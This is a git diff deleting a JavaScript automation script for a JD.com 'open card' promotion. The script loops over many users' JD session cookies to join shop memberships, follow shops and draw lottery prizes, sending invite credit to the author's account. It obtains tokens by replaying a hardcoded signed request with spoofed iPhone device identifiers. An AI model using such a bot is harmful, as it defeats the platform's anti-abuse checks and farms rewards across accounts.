i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - - diff --git a/backUp/gua_opencard10.js b/backUp/gua_opencard10.js deleted file mode 100644 index 4292bcc..0000000 --- a/backUp/gua_opencard10.js +++ /dev/null @@ -1,815 +0,0 @@ -/* -8.11-8.18 大牌联合 约惠一夏 [gua_opencard10.js] -新增开卡脚本 -一次性脚本 - -邀请一人20豆 被邀请也有20豆(有可能没有豆 -开2组卡 抽奖可能获得30京豆(有可能有抽到空气💨 -关注10京豆 (有可能是空气💨 -加购5京豆 (有可能是空气💨 默认不加购 如需加购请设置环境变量[guaopencard_addSku10]为"true" - -第一个账号助力作者 其他依次助力CK1 -第一个CK失效会退出脚本 - -默认脚本不执行 -如需执行脚本请设置环境变量 -guaopencard10="true" -———————————————— -若是手机用户(不是nodejs环境) 是默认直接执行脚本的 -没有适配加购变量 所以是不加购 -———————————————— -入口:[8.11-8.18 大牌联合 约惠一夏 (https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/4768159?activityId=b856fb097683415facd1ae733672de9e&shareUuid=dc4ebdd412df4b41a538f21916ef80cd)] -============Quantumultx=============== -[task_local] -#8.11-8.18 大牌联合 约惠一夏 -30 0,22 11-18 8 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard10.js, tag=8.11-8.18 大牌联合 约惠一夏, enabled=true - -================Loon============== -[Script] -cron "30 0,22 11-18 8 *" script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard10.js,tag=8.11-8.18 大牌联合 约惠一夏 - -===============Surge================= -8.11-8.18 大牌联合 约惠一夏 = type=cron,cronexp="30 0,22 11-18 8 *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard10.js - -============小火箭========= -8.11-8.18 大牌联合 约惠一夏 = type=cron,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard10.js, cronexpr="30 0,22 11-18 8 *", timeout=3600, enable=true -*/ -const $ = new Env('8.11-8.18 大牌联合 约惠一夏'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -let guaopencard_addSku = false -const JD_API_HOST = `https://api.m.jd.com/client.action`; -message = "" -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { - "open-url": "https://bean.m.jd.com/" - }); - return; - } - if ($.isNode()) { - if (!process.env.guaopencard10 || process.env.guaopencard10 == "false") { - console.log('如需执行脚本请设置环境变量[guaopencard10]为"true"') - return - } - guaopencard_addSku = process.env.guaopencard_addSku10 - if (!process.env.guaopencard_addSku10 || process.env.guaopencard_addSku10 == "false") { - console.log('如需加购请设置环境变量[guaopencard_addSku10]为"true"') - } - } - $.shareUuid = 'dc4ebdd412df4b41a538f21916ef80cd' - $.activityId = 'b856fb097683415facd1ae733672de9e' - console.log(`入口:\nhttps://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/4768159?activityId=${$.activityId}&shareUuid=${$.shareUuid}`) - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - getUA() - $.nickName = ''; - console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - await run(); - if(i == 0 && !$.actorUuid) return - } - } -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) - -async function run(){ - try{ - $.isvObfuscatorToken = $.LZ_TOKEN_KEY = $.LZ_TOKEN_VALUE = '' - await getWxCommonInfoToken(); - await getIsvObfuscatorToken(); - if($.isvObfuscatorToken == '' || $.LZ_TOKEN_KEY == '' || $.LZ_TOKEN_VALUE == ''){ - console.log('获取[token]失败!') - return - } - await getSimpleActInfoVo() - $.myPingData = await getMyPing() - if ($.myPingData ==="" || $.myPingData === '400001' || typeof $.shopId == 'undefined' || typeof $.venderId == 'undefined') { - $.log("获取活动信息失败!") - return - } - await getHtml(); - await adLog(); - $.attrTouXiang = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' - await getUserInfo(); - $.actorUuid = ''; - await getActorUuid(); - if(!$.actorUuid){ - console.log('获取不到[actorUuid]退出执行,请重新执行') - return - } - await drawContent(); - await $.wait(1000) - let checkOpenCardData = await checkOpenCard(); - if (checkOpenCardData && !checkOpenCardData.allOpenCard) { - let flag = true - for (let cardList1Element of checkOpenCardData.cardList1) { - if(cardList1Element.status == 0){ - if(flag) console.log('组1') - if(flag) flag = false - console.log(cardList1Element.name) - await join(cardList1Element.value) - await $.wait(1000) - await drawContent(); - } - } - flag = true - for (let cardList1Element of checkOpenCardData.cardList2) { - if(cardList1Element.status == 0){ - if(flag) console.log('组2') - if(flag) flag = false - console.log(cardList1Element.name) - await join(cardList1Element.value) - await $.wait(1000) - await drawContent(); - } - } - await $.wait(1000) - await drawContent(); - checkOpenCardData = await checkOpenCard(); - await $.wait(1000) - } - if(checkOpenCardData && checkOpenCardData.score1 == 1) await startDraw(1) - if(checkOpenCardData && checkOpenCardData.score2 == 1) await startDraw(2) - $.log("关注: " + $.followShop) - if(!$.followShop) await followShop(); - if(!$.followShop) await $.wait(1000) - $.log("加购: " + $.addSku) - if(!$.addSku && guaopencard_addSku+"" != "true") console.log('如需加购请设置环境变量[guaopencard_addSku10]为"true"'); - if(!$.addSku && guaopencard_addSku) await addSku(); - if(!$.addSku && guaopencard_addSku) await $.wait(1000) - await getActorUuid() - await $.wait(1000) - await getDrawRecordHasCoupon() - await $.wait(1000) - await getShareRecord() - $.log($.shareUuid) - if ($.index === 1) { - if($.actorUuid){ - $.shareUuid = $.actorUuid; - console.log(`后面的号都会助力:${$.shareUuid}`) - }else{ - console.log('账号1获取不到[shareUuid]退出执行,请重新执行') - return - } - } - }catch(e){ - console.log(e) - } -} -function getDrawRecordHasCoupon() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&num=0&sortSuatus=1` - $.post(taskPostUrl('/dingzhi/taskact/openCardcommon/getDrawRecordHasCoupon', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object'){ - if(res.result === true && res.data){ - console.log(`我的奖品:`) - let num = 0 - let value = 0 - for(let i in res.data){ - let item = res.data[i] - if(item.value == '邀请好友') num++; - if(item.value == '邀请好友') value = item.infoName.replace('京豆',''); - if(item.value != '邀请好友') console.log(`${item.infoType != 10 && item.value +':' || ''}${item.infoName}`) - } - if(num > 0) console.log(`邀请好友(${num}):${num*parseInt(value, 10) || 30}京豆`) - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`我的奖品 ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getShareRecord() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&num=0&sortSuatus=1` - $.post(taskPostUrl('/dingzhi/taskact/openCardcommon/getShareRecord', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object'){ - if(res.result === true && res.data){ - $.log(`=========== 你邀请了:${res.data.length}个`) - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`${res.errorMessage || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function addSku() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}&taskType=2&taskValue=3200732` - $.post(taskPostUrl('/dingzhi/dz/openCard/saveTask', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object'){ - if(res.result === true && res.data){ - let msg = '' - if(res.data.addBeanNum){ - msg = `${res.data.addBeanNum}京豆` - } - console.log(`加购获得:${ msg || '空气💨'}`) - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`加购 ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function followShop() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}&taskType=23&taskValue=1000003904` - $.post(taskPostUrl('/dingzhi/dz/openCard/followShop', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object'){ - if(res.result === true && res.data){ - let msg = '' - if(res.data.addBeanNum){ - msg = `${res.data.addBeanNum}京豆` - } - if(res.data.beanNumMember && res.data.assistSendStatus){ - msg += ` 额外获得:${res.data.beanNumMember}京豆` - } - console.log(`关注获得:${ msg || '空气💨'}`) - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`关注 ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getshopactivityId(venderId) { - return new Promise(resolve => { - $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { - try { - data = JSON.parse(data); - if(data.success == true){ - // console.log($.toStr(data.result)) - // console.log(`入会:${data.result.shopMemberCardInfo.venderCardName || ''}`) - $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function shopactivityId(functionId) { - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/4768159?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': cookie - } - } -} -function join(venderId) { - return new Promise(async resolve => { - $.shopactivityId = '' - await $.wait(1000) - await getshopactivityId(venderId) - $.get(ruhui(`${venderId}`), async (err, resp, data) => { - try { - // console.log(data) - res = $.toObj(data); - if(typeof res == 'object'){ - if(res.success === true){ - if(res.result && res.result.giftInfo){ - for(let i of res.result.giftInfo.giftList){ - console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) - } - } - }else if(typeof res == 'object' && res.message){ - console.log(`${res.message || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function ruhui(functionId) { - let activityId = `` - if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/4768159?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': cookie - } - } -} - -function startDraw(type) { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&type=${type}` - $.post(taskPostUrl('/dingzhi/dz/openCard/startDraw', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // $.log($.toStr(data)) - res = $.toObj(data); - if(typeof res == 'object'){ - if(res.result === true && res.data){ - console.log(`抽奖获得:${res.data.drawOk && res.data.name || '空气💨'}`) - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`抽奖 ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function checkOpenCard() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}` - $.post(taskPostUrl('/dingzhi/dz/openCard/checkOpenCard', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - res = $.toObj(data); - if(typeof res !== 'object'){ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(res && res.data || ''); - } - }) - }) -} - - -function drawContent() { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/dingzhi/taskact/openCardcommon/drawContent`, - body: `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz1-isv.isvjcloud.com', - 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', - 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/4768159?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getActorUuid() { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activityContent`, - body: `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&pinImg=${encodeURIComponent($.attrTouXiang)}&nick=${encodeURIComponent($.myPingData.nickname)}&cjyxPin=&cjhyPin=&shareUuid=${$.shareUuid}`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz1-isv.isvjcloud.com', - 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', - "Referer": `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/4768159?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - res = $.toObj(data); - if(typeof res == 'object' && res.result === true){ - if(typeof res.data.followShop.allStatus != 'undefined') $.followShop = res.data.followShop.allStatus - if(typeof res.data.addSku.allStatus != 'undefined') $.addSku = res.data.addSku.allStatus - if(typeof res.data.actorUuid != 'undefined') $.actorUuid = res.data.actorUuid - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`activityContent ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getUserInfo() { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/wxActionCommon/getUserInfo`, - body: `pin=${encodeURIComponent($.myPingData.secretPin)}`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz1-isv.isvjcloud.com', - 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', - 'Referer': `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/4768159?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} getUserInfo API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object' && res.result === true){ - if(res.data && typeof res.data.yunMidImageUrl != 'undefined') $.attrTouXiang = res.data.yunMidImageUrl || "https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png" - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`getUserInfo ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function adLog() { - return new Promise(resolve => { - let pageurl = `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/4768159?activityId=${$.activityId}&shareUuid=${$.shareUuid}` - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/common/accessLogWithAD`, - body: `venderId=${$.venderId}&code=99&pin=${encodeURIComponent($.myPingData.secretPin)}&activityId=${$.activityId}&pageUrl=${encodeURIComponent(pageurl)}&subType=APP&adSource=null`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz1-isv.isvjcloud.com', - 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // data = JSON.parse(data); - let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' - let setcookie = '' - if(setcookies){ - if(typeof setcookies != 'object'){ - setcookie = setcookies.split(',') - }else setcookie = setcookies - let LZ_TOKEN_KEY = setcookie.filter(row => row.indexOf("LZ_TOKEN_KEY") !== -1)[0] - if(LZ_TOKEN_KEY && LZ_TOKEN_KEY.indexOf("LZ_TOKEN_KEY=") > -1){ - $.LZ_TOKEN_KEY = LZ_TOKEN_KEY.split(';') && (LZ_TOKEN_KEY.split(';')[0]) || '' - $.LZ_TOKEN_KEY = $.LZ_TOKEN_KEY.replace('LZ_TOKEN_KEY=','') - } - let LZ_TOKEN_VALUE = setcookie.filter(row => row.indexOf("LZ_TOKEN_VALUE") !== -1)[0] - if(LZ_TOKEN_VALUE && LZ_TOKEN_VALUE.indexOf("LZ_TOKEN_VALUE=") > -1){ - $.LZ_TOKEN_VALUE = LZ_TOKEN_VALUE.split(';') && (LZ_TOKEN_VALUE.split(';')[0]) || '' - $.LZ_TOKEN_VALUE = $.LZ_TOKEN_VALUE.replace('LZ_TOKEN_VALUE=','') - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getHtml() { - return new Promise(resolve => { - $.get({ - url: `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/4768159?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz1-isv.isvjcloud.com', - 'X-Requested-With': 'com.jingdong.app.mall', - 'Cookie': `IsvToken=${$.isvObfuscatorToken}; LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getMyPing() { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, - body: `userId=${$.shopId || $.venderId}&token=${$.isvObfuscatorToken}&fromType=APP`, - headers: { - 'User-Agent': $.UA, - 'Content-Type':'application/x-www-form-urlencoded', - 'Host':'lzdz1-isv.isvjcloud.com', - 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/4768159?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE};`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} getMyPing API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' - let setcookie = '' - if(setcookies){ - if(typeof setcookies != 'object'){ - setcookie = setcookies.split(',') - }else setcookie = setcookies - let lz_jdpin_token = setcookie.filter(row => row.indexOf("lz_jdpin_token") !== -1)[0] - $.lz_jdpin_token = '' - if(lz_jdpin_token && lz_jdpin_token.indexOf("lz_jdpin_token=") > -1){ - $.lz_jdpin_token = lz_jdpin_token.split(';') && (lz_jdpin_token.split(';')[0] + ';') || '' - } - let LZ_TOKEN_VALUE = setcookie.filter(row => row.indexOf("LZ_TOKEN_VALUE") !== -1)[0] - if(LZ_TOKEN_VALUE && LZ_TOKEN_VALUE.indexOf("LZ_TOKEN_VALUE=") > -1){ - $.LZ_TOKEN_VALUE = LZ_TOKEN_VALUE.split(';') && (LZ_TOKEN_VALUE.split(';')[0]) || '' - $.LZ_TOKEN_VALUE = $.LZ_TOKEN_VALUE.replace('LZ_TOKEN_VALUE=','') - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(res.data || ''); - } - }) - }) -} -function getSimpleActInfoVo() { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/dz/common/getSimpleActInfoVo`, - body: `activityId=${$.activityId}`, - headers: { - 'User-Agent': $.UA, - 'Content-Type':'application/x-www-form-urlencoded', - 'Host':'lzdz1-isv.isvjcloud.com', - 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/4768159?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE};`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} getSimpleActInfoVo API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object' && res.result === true){ - if(typeof res.data.shopId != 'undefined') $.shopId = res.data.shopId - if(typeof res.data.venderId != 'undefined') $.venderId = res.data.venderId - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`getSimpleActInfoVo ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getWxCommonInfoToken () { - return new Promise(resolve => { - $.post({ - url: `https://lzdz1-isv.isvjcloud.com/wxCommonInfo/token`, - headers: { - 'User-Agent': $.UA, - 'Content-Type':'application/x-www-form-urlencoded', - 'Host':'lzdz1-isv.isvjcloud.com', - 'Origin':'https://lzdz1-isv.isvjcloud.com', - 'Referer': `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/4768159?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': cookie, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} wxCommonInfo API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object' && res.result === true){ - if(typeof res.data.LZ_TOKEN_KEY != 'undefined') $.LZ_TOKEN_KEY = res.data.LZ_TOKEN_KEY - if(typeof res.data.LZ_TOKEN_VALUE != 'undefined') $.LZ_TOKEN_VALUE = res.data.LZ_TOKEN_VALUE - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`token ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getIsvObfuscatorToken () { - return new Promise(resolve => { - $.post({ - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - body: 'area=16_1315_3486_59648&body=%7B%22url%22%3A%22https%3A%5C/%5C/lzdz1-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167764&client=apple&clientVersion=10.0.10&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=68&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=3c9b9db164cc8d694603ca6e3d7fb003&st=1628423908868&sv=102&uemps=0-0&uts=0f31TVRjBSuihfC/1D/2G8oVbUW0Pu4uJDif0Ehi7AVzM40fF9GfNX0yawFyBpTXK/PgWitxArFfBLGK%2Be2W5Pno6b7J4iivmXiQYbYPZi7fbVYEHb8Xa5JAi/fbdr/QeztGPJhLoPHKsXGU39PgzC1cWUEVezUyvHVtAuVQGBR%2Bj6Cx5kcez%2BkVn3IH8dKrAI6kA/Ct%2BQopU%2BROo1oY2w%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b', - headers: { - 'User-Agent': $.UA, - 'Content-Type':'application/x-www-form-urlencoded', - 'Host':'api.m.jd.com', - 'Cookie': cookie, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} isvObfuscator API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object'){ - if(typeof res.token != 'undefined') $.isvObfuscatorToken = res.token - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function taskPostUrl(url, body) { - return { - url: `https://lzdz1-isv.isvjcloud.com${url}`, - body: body, - headers: { - "Accept": "application/json", - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, 